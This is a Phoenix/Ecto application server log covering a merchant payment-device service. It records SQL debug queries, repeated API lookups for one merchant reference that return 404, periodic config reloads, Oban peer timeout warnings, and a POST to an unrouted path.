[Thu Sep  3 10:22:21.636000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54076] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=1061.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:22:21.636000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:54076] Sent 200 in 20ms
[Thu Sep  3 10:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1987.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 10:30:00.975000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1283.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 10:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 10:30:01.146000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.2ms idle=1453.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 10:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 10:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1880.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 10:46:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.5ms idle=1817.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 10:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1714.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 11:06:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1603.1ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 11:08:53.405000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50549] GET /api/deviceDetails
[Thu Sep  3 11:08:53.406000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50549] Processing with DaProductAppWeb.MerchantApiController.get_device_detail/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:08:53.407000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:50549] Fetching device details for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:08:53.414000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50549] QUERY OK source="groups" db=6.2ms queue=0.4ms idle=1355.0ms
SELECT p3.`id`, p3.`name`, p3.`serial_number`, p3.`device_type`, p3.`terminal_id`, p3.`terminalid`, p3.`terminalidmerchantid`, p3.`provider_id`, s2.`id`, s2.`name`, s2.`code`, b1.`id`, b1.`name`, s2.`neo_merchant_id`, s2.`address_id`, b1.`id`, b1.`name`, b1.`code`, p3.`inserted_at`, p3.`updated_at` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `pos_terminals` AS p3 ON p3.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_device_detail/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:216
[Thu Sep  3 11:08:53.414000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50549] Sent 404 in 8ms
[Thu Sep  3 11:08:54.147000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50552] GET /api/merchant/hierarchy
[Thu Sep  3 11:08:54.147000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50552] Processing with DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:08:54.147000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:50552] Fetching merchant hierarchy for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:08:54.150000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50552] QUERY OK source="groups" db=1.7ms idle=1114.2ms
SELECT g0.`id`, g0.`name`, g0.`code`, b1.`id`, b1.`name`, b1.`code`, s2.`id`, s2.`name`, s2.`code`, s2.`address_id`, s2.`neo_merchant_id`, p4.`id`, p4.`name`, p4.`serial_number`, p4.`device_type`, p4.`terminal_id`, a3.`id`, a3.`line1`, a3.`city`, a3.`state`, a3.`country`, a3.`zipcode`, a3.`country_code` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `addresses` AS a3 ON a3.`id` = s2.`address_id` LEFT OUTER JOIN `pos_terminals` AS p4 ON p4.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:1036
[Thu Sep  3 11:08:54.150000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50552] Sent 404 in 2ms
[Thu Sep  3 11:08:54.950000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50555] GET /api/merchant/providers
[Thu Sep  3 11:08:54.950000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50555] Processing with DaProductAppWeb.MerchantApiController.get_providers/2
  Parameters: %{}
  Pipelines: [:api]
[Thu Sep  3 11:08:54.953000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50555] QUERY OK source="providers" db=2.1ms idle=1756.1ms
SELECT p0.`id`, p0.`name`, p0.`status`, p0.`production_url`, p0.`production_mode`, p0.`description`, p0.`provider_code`, p0.`inserted_at`, p0.`updated_at` FROM `providers` AS p0 []
↳ DaProductAppWeb.MerchantApiController.get_providers/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:2099
[Thu Sep  3 11:08:54.954000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50555] Sent 200 in 3ms
[Thu Sep  3 11:09:06.148000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:63808] GET /api/deviceDetails
[Thu Sep  3 11:09:06.149000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:63808] Processing with DaProductAppWeb.MerchantApiController.get_device_detail/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:09:06.149000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:63808] Fetching device details for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:09:06.151000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:63808] QUERY OK source="groups" db=1.5ms queue=0.1ms idle=1115.7ms
SELECT p3.`id`, p3.`name`, p3.`serial_number`, p3.`device_type`, p3.`terminal_id`, p3.`terminalid`, p3.`terminalidmerchantid`, p3.`provider_id`, s2.`id`, s2.`name`, s2.`code`, b1.`id`, b1.`name`, s2.`neo_merchant_id`, s2.`address_id`, b1.`id`, b1.`name`, b1.`code`, p3.`inserted_at`, p3.`updated_at` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `pos_terminals` AS p3 ON p3.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_device_detail/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:216
[Thu Sep  3 11:09:06.151000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:63808] Sent 404 in 2ms
[Thu Sep  3 11:09:06.931000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:63811] GET /api/merchant/hierarchy
[Thu Sep  3 11:09:06.932000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:63811] Processing with DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:09:06.933000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:63811] Fetching merchant hierarchy for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:09:06.935000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:63811] QUERY OK source="groups" db=1.5ms idle=1899.8ms
SELECT g0.`id`, g0.`name`, g0.`code`, b1.`id`, b1.`name`, b1.`code`, s2.`id`, s2.`name`, s2.`code`, s2.`address_id`, s2.`neo_merchant_id`, p4.`id`, p4.`name`, p4.`serial_number`, p4.`device_type`, p4.`terminal_id`, a3.`id`, a3.`line1`, a3.`city`, a3.`state`, a3.`country`, a3.`zipcode`, a3.`country_code` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `addresses` AS a3 ON a3.`id` = s2.`address_id` LEFT OUTER JOIN `pos_terminals` AS p4 ON p4.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:1036
[Thu Sep  3 11:09:06.935000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:63811] Sent 404 in 3ms
[Thu Sep  3 11:09:07.746000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:63814] GET /api/merchant/providers
[Thu Sep  3 11:09:07.746000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:63814] Processing with DaProductAppWeb.MerchantApiController.get_providers/2
  Parameters: %{}
  Pipelines: [:api]
[Thu Sep  3 11:09:07.751000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:63814] QUERY OK source="providers" db=4.0ms idle=1035.9ms
SELECT p0.`id`, p0.`name`, p0.`status`, p0.`production_url`, p0.`production_mode`, p0.`description`, p0.`provider_code`, p0.`inserted_at`, p0.`updated_at` FROM `providers` AS p0 []
↳ DaProductAppWeb.MerchantApiController.get_providers/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:2099
[Thu Sep  3 11:09:07.753000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:63814] Sent 200 in 6ms
[Thu Sep  3 11:10:54.899000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:65524] GET /api/deviceDetails
[Thu Sep  3 11:10:54.900000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:65524] Processing with DaProductAppWeb.MerchantApiController.get_device_detail/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:10:54.900000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:65524] Fetching device details for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:10:54.906000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:65524] QUERY OK source="groups" db=5.1ms idle=1830.7ms
SELECT p3.`id`, p3.`name`, p3.`serial_number`, p3.`device_type`, p3.`terminal_id`, p3.`terminalid`, p3.`terminalidmerchantid`, p3.`provider_id`, s2.`id`, s2.`name`, s2.`code`, b1.`id`, b1.`name`, s2.`neo_merchant_id`, s2.`address_id`, b1.`id`, b1.`name`, b1.`code`, p3.`inserted_at`, p3.`updated_at` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `pos_terminals` AS p3 ON p3.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_device_detail/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:216
[Thu Sep  3 11:10:54.906000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:65524] Sent 404 in 7ms
[Thu Sep  3 11:10:55.757000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:65527] GET /api/merchant/hierarchy
[Thu Sep  3 11:10:55.758000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:65527] Processing with DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:10:55.759000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:65527] Fetching merchant hierarchy for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:10:55.763000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:65527] QUERY OK source="groups" db=1.6ms queue=1.4ms idle=1690.6ms
SELECT g0.`id`, g0.`name`, g0.`code`, b1.`id`, b1.`name`, b1.`code`, s2.`id`, s2.`name`, s2.`code`, s2.`address_id`, s2.`neo_merchant_id`, p4.`id`, p4.`name`, p4.`serial_number`, p4.`device_type`, p4.`terminal_id`, a3.`id`, a3.`line1`, a3.`city`, a3.`state`, a3.`country`, a3.`zipcode`, a3.`country_code` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `addresses` AS a3 ON a3.`id` = s2.`address_id` LEFT OUTER JOIN `pos_terminals` AS p4 ON p4.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:1036
[Thu Sep  3 11:10:55.764000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:65527] Sent 404 in 6ms
[Thu Sep  3 11:10:56.635000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:65530] GET /api/merchant/providers
[Thu Sep  3 11:10:56.636000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:65530] Processing with DaProductAppWeb.MerchantApiController.get_providers/2
  Parameters: %{}
  Pipelines: [:api]
[Thu Sep  3 11:10:56.639000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:65530] QUERY OK source="providers" db=2.2ms idle=1050.0ms
SELECT p0.`id`, p0.`name`, p0.`status`, p0.`production_url`, p0.`production_mode`, p0.`description`, p0.`provider_code`, p0.`inserted_at`, p0.`updated_at` FROM `providers` AS p0 []
↳ DaProductAppWeb.MerchantApiController.get_providers/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:2099
[Thu Sep  3 11:10:56.639000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:65530] Sent 200 in 3ms
[Thu Sep  3 11:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1496.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 11:19:46.375000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.175:33695] GET /
[Thu Sep  3 11:19:46.375000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 195.96.139.175:33695] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 11:19:46.376000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.175:33695] Sent 200 in 932µs
[Thu Sep  3 11:20:31.135000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50817] GET /api/deviceDetails
[Thu Sep  3 11:20:31.135000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50817] Processing with DaProductAppWeb.MerchantApiController.get_device_detail/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:20:31.135000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:50817] Fetching device details for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:20:31.137000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50817] QUERY OK source="groups" db=1.1ms queue=0.1ms idle=1007.2ms
SELECT p3.`id`, p3.`name`, p3.`serial_number`, p3.`device_type`, p3.`terminal_id`, p3.`terminalid`, p3.`terminalidmerchantid`, p3.`provider_id`, s2.`id`, s2.`name`, s2.`code`, b1.`id`, b1.`name`, s2.`neo_merchant_id`, s2.`address_id`, b1.`id`, b1.`name`, b1.`code`, p3.`inserted_at`, p3.`updated_at` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `pos_terminals` AS p3 ON p3.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_device_detail/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:216
[Thu Sep  3 11:20:31.137000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50817] Sent 404 in 2ms
[Thu Sep  3 11:20:32.096000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50820] GET /api/merchant/hierarchy
[Thu Sep  3 11:20:32.096000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50820] Processing with DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:20:32.097000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:50820] Fetching merchant hierarchy for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:20:32.098000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50820] QUERY OK source="groups" db=1.0ms queue=0.1ms idle=1968.4ms
SELECT g0.`id`, g0.`name`, g0.`code`, b1.`id`, b1.`name`, b1.`code`, s2.`id`, s2.`name`, s2.`code`, s2.`address_id`, s2.`neo_merchant_id`, p4.`id`, p4.`name`, p4.`serial_number`, p4.`device_type`, p4.`terminal_id`, a3.`id`, a3.`line1`, a3.`city`, a3.`state`, a3.`country`, a3.`zipcode`, a3.`country_code` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `addresses` AS a3 ON a3.`id` = s2.`address_id` LEFT OUTER JOIN `pos_terminals` AS p4 ON p4.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:1036
[Thu Sep  3 11:20:32.098000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50820] Sent 404 in 2ms
[Thu Sep  3 11:20:32.815000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:34653] GET /api/merchant/providers
[Thu Sep  3 11:20:32.815000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:34653] Processing with DaProductAppWeb.MerchantApiController.get_providers/2
  Parameters: %{}
  Pipelines: [:api]
[Thu Sep  3 11:20:32.816000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:34653] QUERY OK source="providers" db=0.7ms idle=878.7ms
SELECT p0.`id`, p0.`name`, p0.`status`, p0.`production_url`, p0.`production_mode`, p0.`description`, p0.`provider_code`, p0.`inserted_at`, p0.`updated_at` FROM `providers` AS p0 []
↳ DaProductAppWeb.MerchantApiController.get_providers/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:2099
[Thu Sep  3 11:20:32.817000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:34653] Sent 200 in 1ms
[Thu Sep  3 11:20:43.364000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50964] GET /api/deviceDetails
[Thu Sep  3 11:20:43.365000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50964] Processing with DaProductAppWeb.MerchantApiController.get_device_detail/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:20:43.365000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:50964] Fetching device details for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:20:43.368000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50964] QUERY OK source="groups" db=2.0ms idle=1234.6ms
SELECT p3.`id`, p3.`name`, p3.`serial_number`, p3.`device_type`, p3.`terminal_id`, p3.`terminalid`, p3.`terminalidmerchantid`, p3.`provider_id`, s2.`id`, s2.`name`, s2.`code`, b1.`id`, b1.`name`, s2.`neo_merchant_id`, s2.`address_id`, b1.`id`, b1.`name`, b1.`code`, p3.`inserted_at`, p3.`updated_at` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `pos_terminals` AS p3 ON p3.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_device_detail/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:216
[Thu Sep  3 11:20:43.368000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50964] Sent 404 in 3ms
[Thu Sep  3 11:20:44.318000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50967] GET /api/merchant/hierarchy
[Thu Sep  3 11:20:44.319000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:50967] Processing with DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2
  Parameters: %{"merchantRefId" => "Mercury04E1F2F1"}
  Pipelines: [:api]
[Thu Sep  3 11:20:44.319000 2026] [DaProductAppWeb.MerchantApiController:info] [pid 2816631] [client 152.59.143.85:50967] Fetching merchant hierarchy for merchantRefId: Mercury04E1F2F1
[Thu Sep  3 11:20:44.320000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:50967] QUERY OK source="groups" db=1.1ms idle=1166.9ms
SELECT g0.`id`, g0.`name`, g0.`code`, b1.`id`, b1.`name`, b1.`code`, s2.`id`, s2.`name`, s2.`code`, s2.`address_id`, s2.`neo_merchant_id`, p4.`id`, p4.`name`, p4.`serial_number`, p4.`device_type`, p4.`terminal_id`, a3.`id`, a3.`line1`, a3.`city`, a3.`state`, a3.`country`, a3.`zipcode`, a3.`country_code` FROM `groups` AS g0 INNER JOIN `brands` AS b1 ON b1.`group_id` = g0.`id` INNER JOIN `stores` AS s2 ON s2.`brand_id` = b1.`id` INNER JOIN `addresses` AS a3 ON a3.`id` = s2.`address_id` LEFT OUTER JOIN `pos_terminals` AS p4 ON p4.`store_id` = s2.`id` WHERE (g0.`code` = ?) ["Mercury04E1F2F1"]
↳ DaProductAppWeb.MerchantApiController.get_merchant_hierarchy/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:1036
[Thu Sep  3 11:20:44.321000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:50967] Sent 404 in 2ms
[Thu Sep  3 11:20:45.091000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:47115] GET /api/merchant/providers
[Thu Sep  3 11:20:45.091000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 152.59.143.85:47115] Processing with DaProductAppWeb.MerchantApiController.get_providers/2
  Parameters: %{}
  Pipelines: [:api]
[Thu Sep  3 11:20:45.093000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 152.59.143.85:47115] QUERY OK source="providers" db=0.8ms idle=989.7ms
SELECT p0.`id`, p0.`name`, p0.`status`, p0.`production_url`, p0.`production_mode`, p0.`description`, p0.`provider_code`, p0.`inserted_at`, p0.`updated_at` FROM `providers` AS p0 []
↳ DaProductAppWeb.MerchantApiController.get_providers/2, at: lib/da_product_app_web/controllers/merchant_api_controller.ex:2099
[Thu Sep  3 11:20:45.093000 2026] [Phoenix.Logger:info] [pid 2816631] [client 152.59.143.85:47115] Sent 200 in 2ms
[Thu Sep  3 11:21:55.082000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 11:22:00.083000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 11:22:02.397000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 11:22:29.535000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.0:60538] GET /
[Thu Sep  3 11:22:29.535000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.0:60538] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 11:22:29.536000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.0:60538] Sent 200 in 962µs
[Thu Sep  3 11:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1237.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 11:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1184.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 11:41:04.436000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:52134] POST /
[Thu Sep  3 11:41:04.497000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:52134] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
